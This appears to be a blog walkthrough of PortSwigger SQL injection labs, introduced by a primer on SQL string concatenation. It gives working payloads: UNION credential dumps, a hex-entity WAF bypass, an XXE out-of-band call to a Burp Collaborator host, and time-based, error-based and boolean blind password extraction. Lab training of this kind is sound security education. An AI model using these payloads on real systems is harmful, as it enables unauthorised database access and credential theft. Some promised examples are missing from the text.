In SQL, string concatenation is the process of combining two or more strings together to form a single string. The operator used to concatenate strings in SQL is typically the || operator, which is short for “concatenation”. This operator can be used to concatenate strings in a SELECT statement, in a SET statement, or in a VALUES clause.
Here’s an example of using the || operator to concatenate two strings in a SELECT statement:
This query selects the greeting for each employee by concatenating the string ‘Hello, ‘, the name of the employee, and the exclamation mark ‘!’.
In some databases such as MySQL, the CONCAT() function can be used instead of the || operator to concatenate strings. The CONCAT() function takes two or more strings as arguments and returns a single concatenated string:
It’s worth to mention that the exact syntax and the concatenation operator might differ depending on the database management system you are using.
Also, it’s important to keep in mind that when you concatenating strings, the result depends on the type of the fields, if the fields are of different types, the database management system may try to cast them to the same type before concatenating them.
Example of String concat in Postgressql
In PostgreSQL, you can concatenate strings using the || operator or the CONCAT() function.
For example, to concatenate two columns first_name and last_name to get a full name, you could use either:
This lab contains a SQL injection vulnerability in its stock check feature. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables.
The database contains a users table, which contains the usernames and passwords of registered users. To solve the lab, perform a SQL injection attack to retrieve the admin user’s credentials, then log in to their account.
Steps to solve this lab is –
First you need to open the website and launch burpsuit.
Now, as mentioned above in the problem statement, the vulnerability is in its stock check feature.
Which means Click on View Details under any one ITEM listed on the site.
Then at the bottom you will see Check Stock button.
Next is we need to capture the traffic of this Check Stock feature. So turn on the proxy on burp and click Check stock.
As you can see on to the right side we got this XML tag where it has captured the tag <StoreID> 1 < /storeID>
Now send this request to Repeater. We have to perform few more tests here.
Next, simply try this, under this tag
Type 1+1
And you will see the result the units values are changing.
Next Let’s try UNION SELECT NULL instead of 1 + 1.
It now says attack detected & Observe that your request has been blocked due to being flagged as a potential attack.. So we need to Encode this UNION SELECT NULL and then try.
Bypass the WAF
As you’re injecting into XML, try obfuscating your payload using XML entities. One way to do this is using the Hackvertor extension. Just highlight your input, right-click, then select Extensions > Hackvertor > Encode > dec_entities/hex_entities.
Note : You can install this tool HackVertor via the burpstore.
Next – SELECT your String and Right click and Click hackvertor > Send to Hackvertor.
Next – you will see the string 1 UNION SELECT NULL is getting encoded under some tags.
Example – <@auto_decode_no_decrypt>1 UNION SELECT NULL<@/auto_decode_no_decrypt>
Next – We need to add our string under – <@hex_entities> tag.
And Resend the request and notice that you now receive a normal response from the application. This suggests that you have successfully bypassed the WAF.
Example :
<@hex_entities>1 UNION SELECT NULL <@/hex_entities>
Next we can try to retrieve username column data here
<@hex_entities>1 UNION SELECT username from users<@/hex_entities>
Next – to get the password as well, we will have to do string concatenation.
<@hex_entities>1 UNION SELECT username || ‘~’ || password from users<@/hex_entities>
Login with user name and password. Done flag captured.
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, exploit the SQL injection vulnerability to cause a DNS lookup to Burp Collaborator.
Understanding –
You can trigger an out-of-band network interaction, using OAST techniques. This technique is extremely powerful and works in situations where the other techniques do not. Often, you can directly exfiltrate data via the out-of-band channel, for example by placing the data into a DNS lookup for a domain that you control.
Visit the front page of the shop, and use Burp Suite to intercept and modify the request containing the TrackingId cookie.
Modify the TrackingId cookie, changing it to a payload that will trigger an interaction with the Collaborator server. For example, you can combine SQL injection with basic XXE techniques as follows: TrackingId=x’+UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d”1.0″+encoding%3d”UTF-8″%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+”http%3a//BURP-COLLABORATOR-SUBDOMAIN/”>+%25remote%3b]>’),’/l’)+FROM+dual–
Right-click and select “Insert Collaborator payload” to insert a Burp Collaborator subdomain where indicated in the modified TrackingId cookie.
The solution described here is sufficient simply to trigger a DNS lookup and so solve the lab. In a real-world situation, you would use Burp Collaborator client to verify that your payload had indeed triggered a DNS lookup and potentially exploit this behavior to exfiltrate sensitive data from the application. We’ll go over this technique in the next lab.
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
In this problem, the first step is to find out which type of database is used and what is the version of the database?
Basically, we know in portswiger labs. They are using these 4 types of DB’s.
ORACLE
Microsoft
PostgreSQL
MySQL.
Note : If you refer to the Cheat-Sheet, you will find the query, which will allow you to get the version of the database used. Based on that you will have to choose the query below and run it.
Since we are using Time Delay here in this problem, so we will have to run each version query and find out which one will work.
Time delays
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
Oracle
dbms_pipe.receive_message((‘a’),10)
Microsoft
WAITFOR DELAY ‘0:0:10’
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT SLEEP(10)
Before we start with the lab, we have to first try the above queries and find out which query works on this database. Based on that we will get to know which database this lab is using.
Now next thing is we cannot directly run these quires in the burpsuit. Because, in order to execute these queries we need to know what are the ways to 2 query at the same time right.
Note– The website is already sending trackingID query now in between this we have to add our query so that we can manipulate the response. Check this under Burpsuit.
We can do this in multiple methods.
Demo on actual postgresSQL database below.
Method 1 – Using string Concatenation.
Method 2 – Using semicolon, which then helps us separate multiple SQL statements in a single strong or within a script.
Demo on BURPSUIT.
Lets try this inside Burpsuit and find out how it works.
First verify the user name administrator is available inside the database or not.
Next check if the length of the password for administrator user is grater than 1
Here in my case the password is more than 40 char.
The below example is to extract the data from the database.
Here we are checking the char of the password one by one.
That’s our credentials –
Example –
When running this query, it took 10 seconds and that way we can confirm that the first char of the password start with j.
SELECT CASE WHEN (username=’administrator’ AND substring(password, 1, 1) = ‘j’) THEN pg_sleep(10) ELSE pg_sleep(0) END as result from accounts;
Next we will now check for 2nd char of the password.
SELECT CASE WHEN (username=’administrator’ AND substring(password, 2, 1) = ‘a’) THEN pg_sleep(10) ELSE pg_sleep(0) END as result from accounts;
It took more than 10 seconds So 2nd char is a.
Next is to guess the 3rd char. If its not the right char they query will run right away.
So its no r.
Next char, is s so now lets see how much time it will take to query this.
It took 11 seconds so the 3rd one is S.
And so on, so we have to keep querying each alphabet 1 to 40 depends on how long your password is. Which you fond from the previous query, where you guessed the length of the password.
So in this case are going to use the Portswigger application > intruder option, which automates the above process of query and help us find the password char by char.
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.
To solve this lab we will be using Time delays –
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
Oracle
dbms_pipe.receive_message((‘a’),10)
Microsoft
WAITFOR DELAY ‘0:0:10’
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT SLEEP(10)
Conditional time delays
You can test a single boolean condition and trigger a time delay if the condition is true.
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’||dbms_pipe.receive_message((‘a’),10) ELSE NULL END FROM dual
Microsoft
IF (YOUR-CONDITION-HERE) WAITFOR DELAY ‘0:0:10’
PostgreSQL
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),’a’)
Solution was simple in this case. Because, it was just to create the time delay.
As discussed above, try using all of the above methods (oracle, microsoft, postgreSQL, MYSQL) since we don’t know which database this below site is using.
Lets see the steps.
So basically, here we don’t know what is the response, there is no error nothing. So we can use this time delay technique to find out what is happening.
Below example – from the MYSQL DATABASE. When the condition is true and matches with the values inside the database then the delay condition will be triggered and they query will be delayed as described and will be executed after that xyz delay which we have defined.
In the below example – I am querying First name ‘vicky’ then the query will wait for 10 seconds and then execute.
Similarly way, the below Lab was for PostGreSQL : –
Note: here the 2 pipe here is nothing but string concatenation in postgreSQl.
Like we use UNION in mysql/MSSQL.
In another way we can also say we are running the below Asynchronous query refer to Note above.
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows. If the SQL query causes an error, then the application returns a custom error message.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
Conditional errors
You can test a single boolean condition and trigger a database error if the condition is true.
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),’a’)
Step by step instruction to resolve this LAB.
Step 1: is to generate the error.
We will type a single quote in the tracking cookie and send.
TrackingID=X ‘ ;
If we send 2 quotes then the equation is true and it will give us HTTP 200.
TrackingID=X ‘ ‘;
STEP 2: You can test a single boolean condition and trigger a database error if the condition is true.
When one condition is true, and the other one is false then Internal Server is generated.
Note: In the below query, we are saying 1=1 which is true then, we are using to_char(1/0) Function to generate the error.
STEP 5: We will use SUBSTR Function. In Oracle it is written as
Note : SUBSTRING in SQL is a function used to retrieve characters from a string. With the help of this function, you can retrieve any number of substrings from a single string.
Query : Based on the below query we will be able to find out what is the password.
STEP 6: We already know the length of the password is 20 char. Now we will setup the payload to find out which char is in which position.
As mentioned above we will be using the substring (password,$1$,1)’$a$’)+, the payload will be set here in the Starting Value of the password and the Character.
Attack type : Cluster Bomb.
It looks like this in BrupSuite > Intruder’s tab.
So this will be 2 payloads.
Payload 1 will be = 0 to 20 numbers.
Payload 2 will be = a to z and 0 to 20 numbers .
Now we start the attack – As you can see I found 20 500 hits which means those are the one which we will be using as our password.
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a “Welcome back” message in the page if the query returns any rows.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
Using this method below we will first find out if there is a possibility of blind SQL injection or not.
SELECT TrackingId FROM Table_Name WHERE TrackingId = ‘ZC5EuA7KoIDaKOyB’
SELECT TrackingId FROM Table_Name WHERE TrackingId = x’AND ‘1’ = ‘1–
‘ SELECT TrackingId FROM Table_Name WHERE TrackingId = x’AND ‘1’ = ‘2–
Steps to solve this.
First we need to find out if there is a Blind SQL injection or not. With the below trick we will be able to figure this out.
Is to send ‘ AND 1=1 — in the cookie and we can see in the response we will get to see the Welcome back message.
I am using burp suit to capture the traffic and perform the further checks.
In the below Cookie Tracking ID I am entering the condition which will always be true. ‘ AND 1=1–
I get welcome back message.
If I do ‘ and 1=2– then the welcome back message will not be there in the response.
Explanation – of the above demo.
–> The first of these values will cause the query to return results, because the injected AND ‘1’=’1 condition is true, and so the “Welcome back” message will be displayed.
–> Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the “Welcome back” message will not be displayed.
** This allows us to determine the answer to any single injected condition, and so extract data one bit at a time.
For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.
Note : Refer to What is SUBSTRING in SQL? Subsection on this to understand the substring syntax.
To do this, we start with the following input:
xyz’ AND SUBSTRING((SELECT Password FROM Users WHERE Username = ‘Administrator’), 1, 1) > ‘m
This returns the “Welcome back” message, indicating that the injected condition is true, and so the first character of the password is greater than m.
Next, we send the following input:
xyz’ AND SUBSTRING((SELECT Password FROM Users WHERE Username = ‘Administrator’), 1, 1) > ‘t
This does not return the “Welcome back” message, indicating that the injected condition is false, and so the first character of the password is not greater than t.
Eventually, we send the following input, which returns the “Welcome back” message, thereby confirming that the first character of the password is s:
xyz’ AND SUBSTRING((SELECT Password FROM Users WHERE Username = ‘Administrator’), 1, 1) = ‘s
We can continue this process to systematically determine the full password for the Administrator user
In the second step we will figure out if the Supplied username is valid or not, if the username column and password column is available or not. It will also confirm the length of the password. Let’s see this on the MSQL with example.
Assumption – In this example I am using First name as user name and last name as password.
This query is going to show us the output of the Last name if it matches with the conditions below.
Note : the user first name and last name is Steve Jobs.
SELECT cust_last_name FROM custdetails WHERE cust_first_name = ‘steve’ AND length (cust_last_name) > 4;
Example 1 – In this case I am trying to check if the user’s last name (password) is it grater than 4 ?
Since we don’t see any result that means it is not grater than 4 digit.
Example 2 – In the second example, I will say is it grater than 3 then I am getting to see the last name of Steve. Because the last name is grater than 3 but less than equal to 4. I get the answer in my output which is, the last name of steve.
Let’s check the above example from Burp and let’s see if we get to see the welcome message.
First we will verify if the administrator user name exist or not. With the below query if it is true, we will get the welcome back message in the response.
Query : x’ UNION SELECT ‘a’ FROM USERS WHERE Username = ‘administrator’–
Next we will find out if the length of the password is grater than 1 ?
Query : xx’ UNION SELECT ‘a’ FROM users WHERE username = ‘administrator’ AND length(password) > 1–
Similar way we go on finding the actual length of the password. Until we stop getting Welback message in the response.
xx’ UNION SELECT ‘a’ FROM users WHERE username = ‘administrator’ AND length(password) > 2–
xx’ UNION SELECT ‘a’ FROM users WHERE username = ‘administrator’ AND length(password) > 3–
And so on…
Till 19 I am getting welcome back message.
Next is to run the payload to guess the password characters one by one
Query : XX’ UNION SELECT ‘a’ FROM users WHERE username = ‘administrator’ AND substring(password, 1, 1) = ‘a’
Now we need to set the payload to understand the password character 1 by 1. For example under
Substring(String, Starting_value, length)
We need to find out starting value = ‘a’ and so on..
Example
substring(password, 1, 1) = ‘a’
substring(password, 1, 1) = ‘b’
substring(password, 1, 1) = ‘c’
substring(password, 1, 1) = ‘d’
And so on till z…..
After that we change the starting value to 2
substring(password, 2, 1) = ‘a’
substring(password, 2, 1) = ‘b’
substring(password, 2, 1) = ‘c’
And so on…. Till z.
This goes till 19 numbers. It’s a huge password will take time.
Send the above payload to intruder and we set the payload.
Same thing we can test on our MYSQL query to find out the characters of the password one by one.
1st letter is grater than I which is J.
SELECT cust_last_name FROM custdetails WHERE cust_first_name = ‘steve’ AND SUBSTRING(cust_last_name,1,1)>’i’;
2nd letter is grater than ‘n’ which is ‘o’
SELECT cust_last_name FROM custdetails WHERE cust_first_name = ‘steve’ AND SUBSTRING(cust_last_name,2,1)>’n’;
3rd one is grater than a which is b.
SELECT cust_last_name FROM custdetails WHERE cust_first_name = ‘steve’ AND SUBSTRING(cust_last_name,3,1)>’a’;
The below query tells us that 4th character of the password is grater than R which is S.
SELECT cust_last_name FROM custdetails WHERE cust_first_name = ‘steve’ AND SUBSTRING(cust_last_name,4,1)>’r’;
Same way the intruder payload works. I verifies every alphabet with its positions. Takes lot of time.
Finally we should see the results below.
After setting the payload we need to start the attack. Sort it with Welcome column.
Now we need to jot down the password as per payload 1 column from lower to higher digit.
In this section, we’ll describe what blind SQL injection is, explain various techniques for finding and exploiting blind SQL injection vulnerabilities.
What is blind SQL injection?
Blind SQL injection arises when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.
With blind SQL injection vulnerabilities, many techniques such as UNION attacks, are not effective because they rely on being able to see the results of the injected query within the application’s responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.
Exploiting blind SQL injection by triggering conditional responses
Consider an application that uses tracking cookies to gather analytics about usage. Requests to the application include a cookie header like this:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
When a request containing a TrackingId cookie is processed, the application determines whether this is a known user using an SQL query like this:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = ‘u5YD3PapBcR4lN3e7Tj4’
This query is vulnerable to SQL injection, but the results from the query are not returned to the user. However, the application does behave differently depending on whether the query returns any data. If it returns data (because a recognized TrackingId was submitted), then a “Welcome back” message is displayed within the page.
This behavior is enough to be able to exploit the blind SQL injection vulnerability and retrieve information by triggering different responses conditionally, depending on an injected condition. To see how this works, suppose that two requests are sent containing the following TrackingId cookie values in turn:
…xyz’ AND ‘1’=’1 …xyz’ AND ‘1’=’2
The first of these values will cause the query to return results, because the injected AND ‘1’=’1 condition is true, and so the “Welcome back” message will be displayed. Whereas the second value will cause the query to not return any results, because the injected condition is false, and so the “Welcome back” message will not be displayed. This allows us to determine the answer to any single injected condition, and so extract data one bit at a time.
For example, suppose there is a table called Users with the columns Username and Password, and a user called Administrator. We can systematically determine the password for this user by sending a series of inputs to test the password one character at a time.
To do this, we start with the following input:
xyz’ AND SUBSTRING((SELECT Password FROM Users WHERE Username = ‘Administrator’), 1, 1) > ‘m
This returns the “Welcome back” message, indicating that the injected condition is true, and so the first character of the password is greater than m.
Next, we send the following input:
xyz’ AND SUBSTRING((SELECT Password FROM Users WHERE Username = ‘Administrator’), 1, 1) > ‘t
This does not return the “Welcome back” message, indicating that the injected condition is false, and so the first character of the password is not greater than t.
Eventually, we send the following input, which returns the “Welcome back” message, thereby confirming that the first character of the password is s:
xyz’ AND SUBSTRING((SELECT Password FROM Users WHERE Username = ‘Administrator’), 1, 1) = ‘s
Scroll Unlock 